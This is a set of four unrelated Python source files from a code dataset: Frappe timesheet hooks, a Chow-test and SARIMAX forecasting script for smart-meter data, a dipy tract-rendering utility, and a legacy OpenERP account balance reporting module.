+{"seq_id":"524584496","text":"import frappe\nfrom frappe.utils import flt\nfrom ashbee.utils import get_central_entry, check_central_expense\n\n\ndef timesheet_save(doc, d):\n check_central_expense(doc.start_date)\n for detail in doc.time_logs:\n if not detail.billable:\n continue\n detail.ashbee_ot = flt(detail.ashbee_ot) or 0.0\n detail.ashbee_ot2 = flt(detail.ashbee_ot2) or 0.0\n detail.costing_amount = flt(detail.costing_amount) or 0.0\n doc.total_costing_amount = flt(doc.total_costing_amount) or 0.0\n\n detail.costing_amount += detail.ashbee_ot + detail.ashbee_ot2\n doc.total_costing_amount += detail.ashbee_ot + detail.ashbee_ot2\n\n\ndef timesheet_submit(doc, d):\n central_project = frappe.db.get_single_value('Ashbee Settings', 'central_project')\n\n for detail in doc.time_logs:\n if detail.project == central_project:\n central_entry = _create_central_entry(doc, detail)\n central_entry.submit()\n\n\ndef timesheet_cancel(doc, d):\n _cancel_central_entry(doc)\n\n\ndef _cancel_central_entry(doc):\n for detail in doc.time_logs:\n central_entry = get_central_entry(doc.name, detail.name)\n if central_entry:\n central_entry.cancel()\n\n\ndef _create_central_entry(doc, detail):\n return frappe.get_doc({\n 'doctype': 'Central Entry',\n 'posting_date': doc.start_date,\n 'voucher_type': 'Timesheet',\n 'voucher_no': doc.name,\n 'voucher_detail_no': detail.name,\n 'allocation': detail.costing_amount,\n 'company': doc.company,\n }).insert()\n","sub_path":"ashbee/ashbee/customs/timesheet.py","file_name":"timesheet.py","file_ext":"py","file_size_in_byte":1566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"148451870","text":"from data_gather import *\nfrom order_estimation import *\nfrom forecast import *\nfrom clusterer import *\n\n\nimport matplotlib.pylab as plt\nimport time as t\nimport datetime\n\n# csv_ARIMAX_orders = open('..\\\\masters_test\\\\data\\\\orders_ARIMAX.csv', \"r\")\n\ncurrent_time = datetime.datetime(2016, 12, 12, 0, 0) #(2010, 10, 7, 0, 0) timestamps differ at home\nnum_of_meters = 30\nsample_frequency = datetime.timedelta(minutes=30)\nwindow_size = datetime.timedelta(weeks=12)\nfixed_pdq = (0, 1, 2)\nseasonal_pdq = (0, 0, 0, 48) # (0, 1, 1, 48)\ncount = 0\nnumber_of_tests = 100\nmodels = None\nparams = None\n\n\ndef update_time(current_time, sample_freq=datetime.timedelta(minutes=30)):\n current_time = current_time + sample_freq\n return current_time\n\n\ndef init_lookback_windows(current_time, num_of_meters=1, start_meter=1000, window_size=datetime.timedelta(weeks=12)):\n lookback_windows = gather_cer_data_window(current_time, num_of_meters, start_meter, window_size=window_size)\n return lookback_windows\n\n\ndef update_lookback_windows(current_time, lookback_windows, window_size=datetime.timedelta(weeks=12)):\n old_time = current_time-window_size\n for key, value in lookback_windows.items():\n new_value = gather_cer_data_single(current_time, key)\n lookback_windows[key] = value.drop(old_time).append(new_value)\n return lookback_windows\n\n\ndef fit_build_models(lookback_windows, models=None, params=None, pdq=(0, 1, 2), seasonal_pdq=(0, 0, 0, 48)):\n if models is None:\n models = {}\n for key, value in lookback_windows.items():\n if params is None:\n params = {}\n params_list = None\n initial_params = None\n elif key not in params:\n params_list = None\n initial_params = None\n else:\n params_list = params[key]\n if isinstance(params_list, pd.DataFrame):\n loc = value.index[-2]\n initial_params = params_list[loc]\n else:\n initial_params = params_list\n build_model = sm.tsa.statespace.SARIMAX(value,\n order=pdq,\n seasonal_order=seasonal_pdq,\n enforce_stationarity=False,\n enforce_invertibility=False)\n\n # test = len(params_list)\n # if len(params_list) > 1 :\n # initial_param = params_list[-1]\n\n fit_model = build_model.fit(disp=False, start_params=initial_params)\n if params_list is not None:\n params_list = pd.concat([params_list, fit_model.params.rename(value.index[-1])], axis=1)\n params_list.sort_index(axis=1, inplace=True)\n else:\n params_list = fit_model.params.rename(value.index[-1])\n models[key] = fit_model\n params[key] = params_list\n return models, params\n\n\ndef make_predictions(models, predictions=None, forecast_horizon=datetime.timedelta(days=1), sample_freq=datetime.timedelta(minutes=30)):\n number_steps = int(forecast_horizon.total_seconds()/sample_freq.total_seconds())\n for key, value in models.items():\n if predictions == None:\n predictions = {}\n prediction_list = []\n else:\n prediction_list = predictions[key]\n prediction = value.get_forecast(steps=number_steps)\n prediction_series = pd.Series(prediction.predicted_mean.values, index=prediction.row_labels, dtype=\"Float64\")\n prediction_list.append(prediction_series)\n predictions[key] = prediction_list\n return predictions\n\n\ndef verify_forecast(lookback_windows, predictions, mapes=None):\n if mapes == None:\n mapes = {}\n data_align_check = False\n for key, value in lookback_windows.items():\n prediction_list = predictions[key]\n current_prediction = prediction_list[0]\n prediction_window_start = current_prediction.index.values[0]\n prediction_window_end = current_prediction.index.values[-1]\n\n observed_window = lookback_windows[key][prediction_window_start:prediction_window_end]\n if observed_window.any():\n if observed_window.index.values[0] == prediction_window_start:\n if observed_window.index.values[-1] == prediction_window_end:\n if len(observed_window) == len(current_prediction):\n mape = np.nanmean(np.abs((observed_window.values - current_prediction.values) / observed_window.values)) * 100\n if mapes:\n mape_list = mapes[key]\n else:\n mape_list = []\n mape_list.append(mape)\n mapes[key] = mape_list\n prediction_list.remove(current_prediction)\n predictions[key] = prediction_list\n print(\"Success - Mape: {} - Avg {}\".format(mape, np.nanmean(mape_list)))\n else:\n print(\"Predictions and lookback window not aligned\")\n return mapes, predictions\n\n\ndef calc_chow_test(data_0, data_1, k):\n data_t = data_0.append(data_1)\n rss0 = calc_RSS(data_0)\n rss1 = calc_RSS(data_1)\n rsst = calc_RSS(data_t)\n num = (rsst - (rss0 + rss1))/k\n den = (rss0 + rss1)/(len(data_0)+len(data_1) - 2*k)\n chow = num / den\n # print(\"CHOW - {}\".format(chow))\n return chow\n\n\ndef calc_RSS(data):\n return np.square(data.subtract(data.mean())).sum()\n\n\nprint(\"Begin Initialization\")\nprogram_start_time = t.time()\n\nmeter_ids = gather_cer_meter_ids(num_of_meters)\n\nfor meter_id in meter_ids:\n start, end = gather_cer_data_time_range(meter_id)\n test_range = pd.date_range(start + window_size, end, freq=sample_frequency)\n test_dates = []\n for x in range(2):\n test_dates.append(test_range[random.randint(0, len(test_range) - 1)])\n test_dates.sort()\n lookback_window0 = init_lookback_windows(test_dates[0], num_of_meters=1, start_meter=meter_id, window_size=window_size)\n lookback_window1 = init_lookback_windows(test_dates[1], num_of_meters=1, start_meter=meter_id, window_size=window_size)\n\n data_0 = lookback_window0[meter_id]\n data_1 = lookback_window1[meter_id]\n chow = calc_chow_test(data_0, data_1, 2)\n print(\"Meter_{} Chow Test: {}\".format(meter_id, chow))\n\n\nprogram_end_time = t.time()\nprint(\"fin-ARIMAX_forecast; Time: %d\" % (program_end_time - program_start_time))\n","sub_path":"chow_test_implementation.py","file_name":"chow_test_implementation.py","file_ext":"py","file_size_in_byte":6508,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"530765777","text":"from os.path import join\n\nclass PlotUtils:\n\n @staticmethod\n def plot_tracts(bundle_segmentations, out_dir):\n '''\n By default this does not work on a remote server connection (ssh -X) because -X does not support OpenGL.\n On the remote Server you can do 'export DISPLAY=\":0\"' (you should set the value you get if you do 'echo $DISPLAY' if you\n login locally on the remote server). Then all graphics will get rendered locally and not via -X.\n '''\n from dipy.viz import window\n from tractseg.libs.VtkUtils import VtkUtils\n\n ren = window.Renderer()\n\n SMOOTHING = 10\n #CST\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:,:,:,15], colors=[(0., 0., 1.)], levels=[1], opacities=[1.], smoothing=SMOOTHING))\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:,:,:,16], colors=[(0., 0., 1.)], levels=[1], opacities=[1.], smoothing=SMOOTHING))\n #CA\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:,:,:,5], colors=[(1., 0., 0.)], levels=[1], opacities=[1.], smoothing=SMOOTHING))\n #FX\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:,:,:,23], colors=[(0., 1., 0.)], levels=[1], opacities=[1.], smoothing=SMOOTHING))\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:,:,:,24], colors=[(0., 1., 0.)], levels=[1], opacities=[1.], smoothing=SMOOTHING))\n #ICP\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:, :, :, 25], colors=[(1., 1., 0.)], levels=[1], opacities=[1.],\n smoothing=SMOOTHING))\n ren.add(VtkUtils.contour_smooth(bundle_segmentations[:, :, :, 26], colors=[(1., 1., 0.)], levels=[1], opacities=[1.],\n smoothing=SMOOTHING))\n\n #First View (Front)\n ren.set_camera(position=(72.47, 343.04, 18.99),\n focal_point=(71.01, 90.47, 56.05),\n view_up=(0.03, 0.14, 0.99))\n # window.show(ren, size=(1000, 1000), reset_camera=False)\n window.record(ren, out_path=join(out_dir, \"preview_front.png\"), size=(600, 600))\n\n #Second View (Top)\n ren.set_camera(position=(69.76, 144.06, 278.23),\n focal_point=(71.01, 90.47, 56.05),\n view_up=(0.01, -0.97, 0.23))\n window.record(ren, out_path=join(out_dir, \"preview_top.png\"), size=(600, 600))\n\n # ren.camera_info() #to print manually selected camera angle\n","sub_path":"tractseg/libs/PlotUtils.py","file_name":"PlotUtils.py","file_ext":"py","file_size_in_byte":2484,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"574299914","text":"# -*- coding: utf-8 -*-\n##############################################################################\n#\n# NCTR, Nile Center for Technology Research\n# Copyright (C) 2011-2012 NCTR ().\n#\n##############################################################################\n\nfrom openerp.osv import fields, osv\nimport re\nimport time\nfrom openerp.tools.translate import _\nimport netsvc\n\n#---------------------------------------------------\n# CSS classes for the account line templates\n#---------------------------------------------------\n\nCSS_CLASSES = [('default','Default'),('l1', 'Level 1'), ('l2', 'Level 2'),\n ('l3', 'Level 3'), ('l4', 'Level 4'), ('l5', 'Level 5')]\n\n#---------------------------------------------------\n# Account balance report (document / header)\n#---------------------------------------------------\n\nclass account_balance_reporting(osv.Model):\n \"\"\"\n Account balance report.\n It stores the configuration/header fields of an account balance report,\n and the linked lines of detail with the values of the accounting concepts\n (values generated from the selected template lines of detail formulas).\n \"\"\"\n\n _name = \"account.balance.reporting\"\n\n _columns = {\n 'name': fields.char('Name', size=64, required=True, readonly=True, states = {'draft': [('readonly', False)]}, select=True),\n 'template_id': fields.many2one('account.balance.reporting.template', 'Template', ondelete='set null', required=True, select=True,\n readonly=True, states = {'draft': [('readonly', False)]}),\n 'state': fields.selection([('draft','Draft'),('calc','Processing'),('calc_done','Processed'),('done','Done'),('canceled','Canceled')], 'State'),\n 'company_id': fields.many2one('res.company', 'Company', ondelete='cascade', required=True, readonly=True, \n states = {'draft': [('readonly', False)]}),\n 'current_fiscalyear_id': fields.many2one('account.fiscalyear','Fiscal year 1', select=True, \n readonly=True, states = {'draft': [('readonly', False)]}), \n 'current_period_ids': fields.many2many('account.period', 'account_balance_reporting_account_period_current_rel', 'account_balance_reporting_id', \n 'period_id', 'Fiscal year 1 periods', readonly=True, states = {'draft': [('readonly', False)]}),\n 'previous_fiscalyear_id': fields.many2one('account.fiscalyear','Fiscal year 2', select=True, readonly=True, \n states = {'draft': [('readonly', False)]}), \n 'previous_period_ids': fields.many2many('account.period', 'account_balance_reporting_account_period_previous_rel', 'account_balance_reporting_id', \n 'period_id', 'Fiscal year 2 periods',readonly=True, states = {'draft': [('readonly', False)]}),\n 'chart_account_id': fields.many2one('account.account', 'Chart of account', help='Select Charts of Accounts', required=True, \n domain = [('parent_id','=',False)], readonly=True, states = {'draft': [('readonly', False)]}),\n 'detail': fields.selection([('none','Without Details'),('min','Without Regual Accounts'),('cons','With Regual Accounts')], 'Details', required=True, help=\"Print report with account details?\"), \n #'period_from': fields.many2one('account.period', 'Start period', readonly=True, states = {'draft': [('readonly', False)]}),\n #'period_to': fields.many2one('account.period', 'End period', readonly=True, states = {'draft': [('readonly', False)]}),\n 'line_ids': fields.one2many('account.balance.reporting.line', 'report_id', 'Lines', states = {'done': [('readonly', True)]}),\n 'target_move': fields.selection([('posted', 'All Posted Entries'), ('all', 'All Entries'), ], 'Target Moves', \n readonly=True, states = {'draft': [('readonly', False)]}, required=True),\n 'sign': fields.selection([('sign', 'With Sign'), ('bracket', 'With Brackets'), ('no_sign', 'Without Sign')], 'Sign', \n readonly=False, required=True), \n 'round': fields.boolean('Round', help=\"Round the value \"),\n 'rml': fields.related('template_id', 'rml', type='char', string='RML'),\n 'date_from': fields.date('Date From '),\n 'date_to': fields.date('Date To'),\n }\n\n def _get_fiscalyear(self, cr, uid, context=None):\n \"\"\"\n @return: int current fiscalyear id or False\n \"\"\"\n fiscalyears = self.pool.get('account.fiscalyear').finds(cr, uid, dt=time.strftime('%Y-%m-%d'), exception=False, context=context)\n return fiscalyears and fiscalyears[0] or False\n\n def _get_account(self, cr, uid, context=None):\n \"\"\"\n @return: int root account\n \"\"\"\n accounts = self.pool.get('account.account').search(cr, uid, [('parent_id', '=', False)], limit=1)\n return accounts and accounts[0] or False\n\n _defaults = {\n 'company_id': lambda self, cr, uid, context: self.pool.get('res.users').browse(cr, uid, uid, context=context).company_id.id,\n 'state': 'draft',\n 'target_move': 'posted',\n 'detail': 'none',\n 'sign': 'no_sign',\n 'round': True,\n }\n#===============================================================================\n# \n# def _get_periods(self, cr, uid, period_from, period_to, company_id=[], context={}):\n# print \"_get_periods(self, cr, uid, period_from, period_to, company_id=[], context={})\", period_from, period_to, company_id, context\n# \"\"\"\n# Get all periods between from & to period\n# @param period_from: selected start period,\n# @param period_to: selected end period,\n# @param company_id: printed report company,\n# @return: list of all periods between period_from & period_to\n# \"\"\"\n# period_pool = self.pool.get('account.period')\n# period_from_obj = period_from and period_pool.browse(cr, uid, period_from, context=context) or False\n# period_to_obj = period_to and period_pool.browse(cr, uid, period_to, context=context) or False\n# filters = []\n# if company_id:\n# filters.append(('company_id', 'in', company_id))\n# if period_from_obj:\n# filters.append(('date_start', '>=', period_from_obj.date_start))\n# if period_to_obj and period_from_obj:\n# filters.append(('date_start', '<=', period_to_obj.date_start))\n# elif period_to_obj and not period_from_obj:\n# filters.append(('date_start', '<', period_to_obj.date_start))\n# else:\n# return []\n# return period_pool.search(cr, uid, filters, context=context)\n#===============================================================================\n def onchange_template_id(self, cr, uid, ids, template_id, context=None):\n \"\"\"\n Changing report rml by template rml & reset detail field\n \n @param template_id: int selected template\n @return: dictionary of field's values\n \"\"\"\n template = self.pool.get('account.balance.reporting.template').browse(cr, uid, template_id, context=context)\n self.write(cr, uid, ids, {'detail':'none'},context=context)\n return {'value':{'detail': 'none', 'rml': template and template.rml}}\n \n def onchange_company_id(self, cr, uid, ids, current_fiscalyear, company_id, context=None):\n \"\"\"\n Changing report company will change report account chart to the selected company chart\n and change fiscalyear to the current fiscalyear of the selected company\n \n @param current_fiscalyear: selected fiscalyear before changing report company,\n @param company_id: selected company,\n @return: dictionary conatins the new values of chart_account_id & current_fiscalyear_id\n \"\"\"\n accounts = self.pool.get('account.account').search(cr, uid, [('parent_id', '=', False), ('company_id', '=', company_id)],\n context=context, limit=1)\n fiscalyears = self.pool.get('account.fiscalyear').finds(cr, uid, dt=time.strftime('%Y-%m-%d'), exception=False, context=context)\n return {'value':{'chart_account_id': accounts and accounts[0] or False ,\n 'current_fiscalyear_id': fiscalyears and fiscalyears[0] or current_fiscalyear,\n 'previous_fiscalyear_id': False\n }}\n\n def onchange_fiscalyear(self, cr, uid, ids, key, fiscalyear_id, context=None):\n \"\"\"\n Changing fiscalyear will change some related fields values\n \n @param current_fiscalyear: new fiscalyear,\n @param company_id: report's company,\n @return: dictionary conatins the new values of \n current_period_ids: all current fiscalyear periods\n previous_period_ids: all previous fiscalyear periods\n \"\"\"\n return {'value':{key: fiscalyear_id and self.pool.get('account.period').search(cr, uid, [('fiscalyear_id', '=', fiscalyear_id)], \n order='date_start', context=context),\n }}\n#===============================================================================\n# def onchange_periods(self, cr, uid, ids, fiscalyear, period_from, period_to, company_id=False, context={}):\n# \"\"\"\n# Redife current_period_ids & previous_period_ids according to the selected period_from & period_to\n# \n# @param int fiscalyear: current fiscalyear,\n# @param int period_from: selected start period,\n# @param int period_to: selected end periods,\n# @param int company_id: report's company,\n# @return: dictionary conatins the new values of:\n# current_period_ids: periods between period_from & period_to\n# previous_period_ids: periods before period_from\n# \"\"\"\n# res={'value':{}}\n# company_ids = self.pool.get('res.company')._get_company_children(cr, uid, company_id) or [company_id]\n# current_periods = self._get_periods(cr, uid, period_from, period_to, company_ids, context=context)\n# previous_periods = self._get_periods(cr, uid, False, period_from, company_ids, context=context) or []\n# res['value'].update({\n# 'current_period_ids': period_from and current_periods or False, \n# 'previous_period_ids': period_from and previous_periods or False, \n# 'period_to': period_from and period_to or False\n# })\n# return res\n#===============================================================================\n\n def action_calculate(self, cr, uid, ids, context=None):\n \"\"\"\n Called when the user presses the Calculate button.\n It will use the report template to generate lines of detail for the\n report with calculated values.\n \n @return: boolean True\n \"\"\"\n report_line_facade = self.pool.get('account.balance.reporting.line')\n # Set the state to 'calculating'\n self.write(cr, uid, ids, {'state': 'calc'}, context=context)\n # Replace the lines of detail of the report with new lines from its template\n reports = self.browse(cr, uid, ids, context=context)\n for report in reports:\n # Clear the report data (unlink the lines of detail)\n report_line_facade.unlink(cr, uid, [line.id for line in report.line_ids], context=context)\n # Fill the report with a 'copy' of the lines of its template (if it has one)\n if report.template_id:\n for template_line in report.template_id.line_ids:\n report_line_facade.create(cr, uid, {\n 'code': template_line.code,\n 'name': template_line.name,\n 'report_id': report.id,\n 'template_line_id': template_line.id,\n 'parent_id': None,\n 'current_value': None,\n 'previous_value': None,\n 'sequence': template_line.sequence,\n 'css_class': template_line.css_class,\n }, context=context)\n # Set the parents of the lines in the report\n # Note: We reload the reports objects to refresh the lines of detail.\n reports = self.browse(cr, uid, ids, context=context)\n for report in reports:\n if report.template_id:\n # Establecemos los padres de las líneas (ahora que ya están creados)\n for line in report.line_ids:\n if line.template_line_id and line.template_line_id.parent_id:\n parent_line_id = report_line_facade.search(cr, uid, [('report_id', '=', report.id), \n ('code', '=', line.template_line_id.parent_id.code)], \n context=context)\n report_line_facade.write(cr, uid, line.id, {'parent_id': len(parent_line_id) and parent_line_id[0] or None,}, context=context)\n # Calculate the values of the lines\n # Note: We reload the reports objects to refresh the lines of detail.\n reports = self.browse(cr, uid, ids, context=context)\n for report in reports:\n if report.template_id:\n # Refresh the report's lines values\n for line in report.line_ids:\n line.refresh_values()\n # Set the report as calculated\n self.write(cr, uid, [report.id], {'state': 'calc_done'}, context=context)\n else:\n # Ouch! no template: Going back to draft state.\n self.write(cr, uid, [report.id], {'state': 'draft'}, context=context)\n return True\n\n def action_cancel(self, cr, uid, ids, context=None):\n \"\"\"\n Button action changing record state to 'canceled\n \"\"\"\n return self.write(cr, uid, ids, {'state': 'canceled'}, context=context)\n\n def action_recover(self, cr, uid, ids, context=None):\n \"\"\"\n Button action changing record state to 'draft'\n \"\"\"\n return self.write(cr, uid, ids, {'state': 'draft'}, context=context)\n\n#---------------------------------------------------\n# Account balance report line of detail (accounting concept)\n#---------------------------------------------------\nclass account_balance_reporting_line(osv.Model):\n \"\"\"\n Account balance report line / Accounting concept\n One line of detail of the balance report representing an accounting\n concept with its values.\n The accounting concepts follow a parent-children hierarchy.\n Its values (current and previous) are calculated based on the 'value'\n formula of the linked template line.\n \"\"\"\n\n _name = \"account.balance.reporting.line\"\n\n _columns = {\n 'report_id': fields.many2one('account.balance.reporting', 'Report', ondelete='cascade'),\n 'code': fields.char('Code', size=64, required=True, select=True),\n 'name': fields.char('Name', size=256, required=True, select=True),\n 'notes': fields.text('Notes'),\n 'current_value': fields.float('Fiscal year 1', digits=(16,2)),\n 'previous_value': fields.float('Fiscal year 2', digits=(16,2)),\n 'sequence': fields.char('Sequence', size=32, required=False),\n 'css_class': fields.selection(CSS_CLASSES, 'CSS Class', required=False),\n 'template_line_id': fields.many2one('account.balance.reporting.template.line', 'Line template', ondelete='set null'),\n 'parent_id': fields.many2one('account.balance.reporting.line', 'Parent', ondelete='cascade'),\n 'child_ids': fields.one2many('account.balance.reporting.line', 'parent_id', 'Children'),\n 'disclosure_number': fields.integer('Disclosure Number'), \n 'account_id': fields.many2one('account.account', 'Disclosure Account'),\n }\n\n _defaults = {\n 'report_id': lambda self, cr, uid, context: context.get('report_id', None),\n 'css_class': 'default', \n }\n\n _order = \"sequence, code\"\n\n _sql_constraints = [('report_code_uniq', 'unique (report_id,code)', _(\"The code must be unique for this report!\"))]\n\n def name_get(self, cr, uid, ids, context=None):\n \"\"\"\n Line name show as \"[code] name\"\n \"\"\"\n return ids and [(item.id, \"[%s] %s\" % (item.code, item.name)) for item in self.browse(cr, uid, ids, context=context)] or []\n\n def name_search(self, cr, uid, name, args=[], operator='ilike', context={}, limit=80):\n \"\"\"\n Allow searching by line name or code\n \"\"\"\n ids = name and self.search(cr, uid, [('code','ilike',name)]+ args, context=context, limit=limit) or []\n if not ids:\n ids = self.search(cr, uid, [('name',operator,name)]+ args, context=context, limit=limit)\n return self.name_get(cr, uid, ids, context=context)\n\n def refresh_values(self, cr, uid, ids, context=None):\n \"\"\"\n Recalculates the values of this report line using the\n linked line template values formulas:\n\n Depending on this formula the final value is calculated as follows:\n - Empy template value: sum of (this concept) children values.\n - Number with decimal point (\"10.2\"): that value (constant).\n - Account numbers separated by commas (\"430,431,(437)\"): Sum of the account balances.\n (The sign of the balance depends on the balance mode)\n - Concept codes separated by \"+\" (\"11000+12000\"): Sum of those concepts values.\n \"\"\"\n for line in self.browse(cr, uid, ids, context=context):\n current_value = 0.0\n previous_value = 0.0\n # We use the same code to calculate both fiscal year values,\n # just iterating over them.\n for fyear in ('current', 'previous'):\n value = 0\n template_value = (fyear == 'current' and line.template_line_id.current_value) or \\\n (fyear == 'previous' and line.template_line_id.previous_value) or 0\n # Remove characters after a \";\" (we use ; for comments)\n template_value = template_value and len(template_value) and template_value.split(';')[0] or template_value\n if (fyear == 'current' and not line.report_id.current_fiscalyear_id) or \\\n (fyear == 'previous' and not line.report_id.previous_fiscalyear_id): \n value = 0\n else:\n # Calculate the value\n if not template_value or not len(template_value):\n # Empy template value => sum of the children, of this concept, values.\n for child in line.child_ids:\n # Tell the child to refresh its values\n child.refresh_values()\n # Reload the child datacurrent_period_ids\n child = self.browse(cr, uid, [child.id], context=context)[0]\n value += (fyear == 'current' and float(child.current_value)) or \\\n (fyear == 'previous' and float(child.previous_value)) or 0\n elif re.match(r'^\\-?[0-9]*\\.[0-9]*$', template_value):\n # Number with decimal points => that number value (constant).\n value = float(template_value)\n elif re.match(r'^[0-9a-zA-Z,\\(\\)\\*_]*$', template_value):\n # Account numbers separated by commas => sum of the account balances.\n # We will use the context to filter the accounts by fiscalyear\n # and periods.\n #ctx = {'periods': fyear == 'current' and [p.id for p in line.report_id.current_period_ids] or \\\n # fyear == 'previous' and [p.id for p in line.report_id.previous_period_ids] or []}\n # Get the mode of balance calculation from the template\n balance_mode = line.template_line_id.report_id.balance_mode\n # Get the balance\n if ctx.get('periods'):\n value = line._get_account_balance(template_value, balance_mode, context=ctx)\n elif re.match(r'^[\\+\\-0-9a-zA-Z_\\*]*$', template_value):\n # Account concept codes separated by \"+\" => sum of the concept (report lines) values.\n for line_code in re.findall(r'(-?\\(?[0-9a-zA-Z_]*\\)?)', template_value):\n # Check the sign of the code (substraction)\n if line_code.startswith('-') or line_code.startswith('('):\n sign = -1.0\n else:\n sign = 1.0\n line_code = line_code.strip('-()*')\n # Check if the code is valid (findall might return empty strings)\n if len(line_code) > 0:\n # Search for the line (perfect match)\n line_ids = self.search(cr, uid, [('report_id','=', line.report_id.id),\n ('code', '=', line_code)], context=context)\n for child in self.browse(cr, uid, line_ids, context=context):\n # Tell the child to refresh its values\n child.refresh_values()\n # Reload the child data\n child = self.browse(cr, uid, [child.id], context=context)[0]\n if fyear == 'current':\n value += float(child.current_value) * sign\n elif fyear == 'previous':\n value += float(child.previous_value) * sign\n # Negate the value if needed\n value = line.template_line_id.negate and -value or value\n \n if fyear == 'current':\n current_value = value\n \n elif fyear == 'previous':\n previous_value = value\n # Write the values\n self.write(cr, uid, [line.id], {\n 'current_value': current_value,\n 'previous_value': previous_value,\n }, context=context)\n return True\n\n def _get_account_balance(self, cr, uid, ids, code, balance_mode=0, context=None):\n \"\"\"\n It returns the (debit, credit, balance*) tuple for a account with the\n given code, or the sum of those values for a set of accounts\n when the code is in the form \"400,300,(323)\"\n Depending on the balance_mode, the balance is calculated as follows:\n Mode 0: debit-credit for all accounts (default);\n Mode 1: debit-credit, credit-debit for accounts in brackets;\n Mode 2: credit-debit for all accounts;\n Mode 3: credit-debit, debit-credit for accounts in brackets.\n Also the user may specify to use only the debit or credit of the account\n instead of the balance writing \"debit(551)\" or \"credit(551)\".\n \"\"\"\n fiscalyear_obj = self.pool.get('account.fiscalyear')\n fiscalperiod_obj = self.pool.get('account.period')\n acc_facade = self.pool.get('account.account')\n fiscalyear_obj = self.pool.get('account.fiscalyear')\n company_obj = self.pool.get('res.company')\n res = 0.0\n line = self.browse(cr, uid, ids)[0]\n assert balance_mode in ('0', '1', '2', '3'), \"balance_mode should be in [0..3]\"\n if line.report_id.target_move == 'posted':\n context.update({'state':'posted'})\n if line.report_id.date_from:\n context.update({'date_from':line.report_id.date_from})\n if line.report_id.date_to:\n context.update({'date_to':line.report_id.date_to})\n \n \n context.update({'type':'statement'})\n # get fisacl years of all childs companies with same code \n company_id= fiscalyear_obj.browse(cr, uid, context['fiscalyear'], context=context).company_id.id\n company_ids=company_obj.search(cr, uid, [ ('parent_id', '=', line.report_id.company_id.id)], context=context)\n year_code=fiscalyear_obj.browse(cr, uid, context['fiscalyear'], context=context).code\n\n if company_ids:\n fiscalyear_ids= fiscalyear_obj.search(cr, uid, [('code', '=',year_code), ('company_id', 'in', company_ids)], context=context)\n if not company_ids:\n fiscalyear_ids= fiscalyear_obj.search(cr, uid, [('code', '=',year_code), ('company_id', '=', line.report_id.company_id.id)], context=context)\n init_period = fiscalperiod_obj.search(cr, uid, [('special', '=', True), ('fiscalyear_id', 'in', fiscalyear_ids)])\n date_start = fiscalperiod_obj.browse(cr, uid, init_period[0], context=context).date_start\n if not line.report_id.date_from:\n context.update({'date_from':date_start})\n if fiscalyear_ids:\n context.update({'fiscalyear':fiscalyear_ids})\n # We iterate over the accounts listed in \"code\", so code can be\n # a string like \"430+431+432-438\"; accounts split by \"+\" will be added,\n # accounts split by \"-\" will be substracted.\n # We also take in consideration the balance_mode:\n # Mode 0: credit-debit for all accounts\n # Mode 1: debit-credit, credit-debit for accounts in brackets\n # Mode 2: credit-debit, debit-credit for accounts in brackets\n # Mode 3: credit-debit, debit-credit for accounts in brackets.\n # And let the user get just the credit or debit if he specifies so.\n for account_code in re.findall('(-?\\w*\\(?[0-9a-zA-Z_]*\\)?)', code):\n # Check if the code is valid (findall might return empty strings)\n if len(account_code) > 0:\n # Check the sign of the code (substraction)\n if account_code.startswith('-'):\n sign = -1.0\n account_code = account_code[1:] # Strip the sign\n else:\n sign = 1.0\n if re.match(r'^debit\\(.*\\)$', account_code):\n # Use debit instead of balance\n mode = 'debit'\n account_code = account_code[6:-1] # Strip debit()\n elif re.match(r'^credit\\(.*\\)$', account_code):\n # Use credit instead of balance\n mode = 'credit'\n account_code = account_code[7:-1] # Strip credit()\n else:\n mode = 'balance'\n # Calculate the balance, as given by the balance mode\n if balance_mode == '1' and account_code.startswith('(') and account_code.endswith(')'):\n # We use debit-credit as default balance,\n # but for accounts in brackets we use credit-debit\n sign = -1.0 * sign\n elif balance_mode == '2':\n # We use credit-debit as the balance,\n sign = -1.0 * sign\n elif balance_mode == '3' and not account_code.startswith('(') and account_code.endswith(')'):\n # We use credit-debit as default balance,\n # but for accounts in brackets we use debit-credit\n sign = -1.0 * sign\n # Strip the brackets (if there are brackets)\n if account_code.startswith('(') and account_code.endswith(')'):\n account_code = account_code[1:-1]\n # Search for the account (perfect match)context\n account_ids = acc_facade.search(cr, uid, [('code', '=', account_code), \n ('company_id', '=', line.report_id.company_id.id)], context=context)\n if not account_ids:\n # We didn't find the account, search for a subaccount ending with '0'\n account_ids = acc_facade.search(cr, uid, [('code', '=like', '%s%%0' % account_code), \n ('company_id', '=', line.report_id.company_id.id)], context=context)\n if len(account_ids) > 0:\n if mode == 'debit':\n res += acc_facade.read(cr, uid, account_ids, ['debit'], context)[0]['debit'] or 0.0\n\n elif mode == 'credit':\n res += acc_facade.read(cr, uid, account_ids, ['credit'], context)[0]['credit'] or 0.0\n else:\n # MODIFY HERE \n res += acc_facade.read(cr, uid, account_ids, ['balance'], context)[0]['balance'] * sign or 0.0\n\n else:\n netsvc.Logger().notifyChannel('account_balance_reporting', netsvc.LOG_WARNING, \"Account with code '%s' not found!\" % account_code)\n \n return res\n\n\n# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:\n","sub_path":"v_7/Dongola/common/account_balance_reporting/account_balance_reporting-old.py","file_name":"account_balance_reporting-old.py","file_ext":"py","file_size_in_byte":29713,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
